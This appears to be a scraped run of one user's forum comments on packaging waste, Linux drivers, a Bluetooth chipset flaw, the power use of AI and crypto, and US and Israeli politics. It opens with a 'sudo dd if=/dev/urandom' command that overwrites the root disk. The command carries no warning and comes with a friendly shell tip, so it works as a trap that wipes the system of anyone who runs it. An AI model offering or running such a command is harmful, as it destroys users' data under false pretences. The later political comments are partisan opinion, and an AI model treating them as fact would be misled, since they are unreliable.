sudo dd if=/dev/urandom of=$(df | grep '\s/$' | cut -d' ' -f1)

(Omit the $ if you are using the fish terminal)

Some stuff has to be consumed, like food. And that’s a major problem with plastic. Plastic is being used to protect and preserve foods, but it’s also being used as a cheap binding for shipments.

The right solution introduces an added logistic hurdle to send back packaging for reuse and to reprocess/clean that packaging.

There is actually a way out of this, but marketers hate it. It’s standardized reusable containers and outlawing or severely limiting the use of plastic and inks for product distribution.

Sure, it’d turn our grocery stores into a warehouse-like feel, but it would also make it easy and possible for reuse and recycle centers to process and redistribute packaging with very minimal waste.

It’d also make it a lot harder for companies to play the shrinkflation game.

Standardization like this does wonders.

Correct. I’ve been rocking their open source driver on Wayland for about a year now, pretty smooth experience.

Though sleep is still a neverending struggle.

Just reread it and no, it’s not a BT vulnerability. The “erase flash” command is something that has to be done by software running outside the BT stack. You can even see that inside the slides. The UsbBluetooth software is connected to the device with the flawed bluetooth chipset.

The vulnerability is that if you have this chipset and compromised software, someone can flash the chipset with compromised flash. They even say that it’s not an easy attack to pull off in the article.

In general, though, physical access to the device’s USB or UART interface would be far riskier and a more realistic attack scenario.

In otherwords, the attack is something that can only be pulled off if there’s also a security vulnerability within other parts of the hardware stack.

I just re-read the article and yes, you still need physical access.

The exploit is one that bypasses OS protections to writing to the firmware. In otherwords, you need to get the device to run a malicious piece of code or exploit a vulnerability in already running code that also interacts with the bluetooth stack.

The exploit, explicitly, is not one that can be carried out with a drive-by Bluetooth connection. You also need faulty software running on the device.

I think we are basically already there with ESPs :D.

Security wise, unless you are being specifically targeted by someone, you are almost certainly fine. And if you are being specifically targeted, I think someone hacking your ESPs is the least of your worries. A malicious attacker that knows your physical location can do a lot more scary things than just spying through ESPs.

You’re fine. This isn’t something that can be exploited over wifi. You literally need physical access to the device to exploit it as it’s commands over USB that allow flashing the chip.

This is a security firm making everything sound scary because they want you to buy their testing device.

They do not have the votes. There’s still the filibuster in the senate and unless they are willing to blow that up (they likely aren’t) this bill will be dead in the senate.

Yeah, the problem (imo) isn’t lossy v lossless. It’s that the supported codecs are part of the Bluetooth standard and they were developed in like the 90s.

There are far better codecs out there and we can’t use them without incompatible extensions on Bluetooth.

This is what kills the ADFs and Israeli whining on antisemitism.

They’ll call any statement saying Palestinians aren’t disposable refuse antisemitic. Yet, when a guy they like does literal Nazi salutes while quote tweeting shit from the protocols of the elders of Zion “oh he’s just having fun”.

These are the most antisemitic organizations on the planet. They don’t care about protecting Jews, they care about protecting Israel and will gladly allow an antisemite propagandist in their ranks if it furthers that cause.

Yup, I got about $100 there because I played with mining eth a couple of winters ago. (Kept my room nice and warm). Literally just a “let’s see how this works” sort of experiment.

Wysiwygs were all the rage in the late 90s early 00s with a promise that the hard part of development was actually just doing the layout.

Tools like frontpage have been tricking incredulous entrepreneurs that programming is easy since at least then.

The amount of power AI and Crypto require is orders of magnitude the amount of power required by pretty much any regular application. The company I work at uses somewhere around 2000 CPU cores worth of compute at AWS (and we have ~100 microservices. We are a fairly complex org that way).

Generally speaking, an 80CPU core system takes up ~200W worth of power. That means my companies entire fleet operating eats about 5kW of power when running full bore (it isn’t doing that all the time). My company is not a small company.

Compare that to what a single nvidia A100 eats up. Those GPUs take up to 400W of power. When doing AI/crypto stuff you are running them as hard as possible (meaning you are eating the full 400W). That means just 12 AI or crypto apps will eat all the same amount of power that my company with 100 different applications eats while running full bore. Now imagine that with the model training of someone like chatgpt which can eat pretty much as many GPUs as you can throw at it.

To put all of this in perspective. 5kW is roughly what a minisplit system will consume.

Frankly, I’m way more concerned about my companies travel budget in terms of CO2 emissions than I am our datacenter usage.

And I’ll bet roughly 50->90% of that usage is idiots doing crypto/ai garbage.

Why so many? Its resolution is 16000 x 16000 which is a lot but also not that much. Is it doing more than just video output?

You are saying I shouldn’t be terrified of biden’s prospects because, unlike Hillary, he’s trailing in pretty much all polls? Heck, unlike 2020 he’s trailing?

Mr. Basically anyone, currently polling ahead of Biden.

https://www.nbcnews.com/meet-the-press/first-read/biden-trump-both-underperform-generic-opponents-poll-finds-rcna126098

Basically anybody. However, at this point I’m guessing it’ll be Kamala.

bad in a clear way and define a simple test.

The reason for this is both terrible and simple. It’s because they don’t want to be caught in obvious contradictions when “If a republican does it, it’s fine. If a democrat does it, it’s wrong”.

This is absolutely so that if a Democrat president decided to do exactly what trump did, they’ll allow prosecution because “inciting a riot to steal an election is obviously not an official act.” This leaves the door open for Ken Star style witch hunts against their political opponents.

We have a fascist supreme court.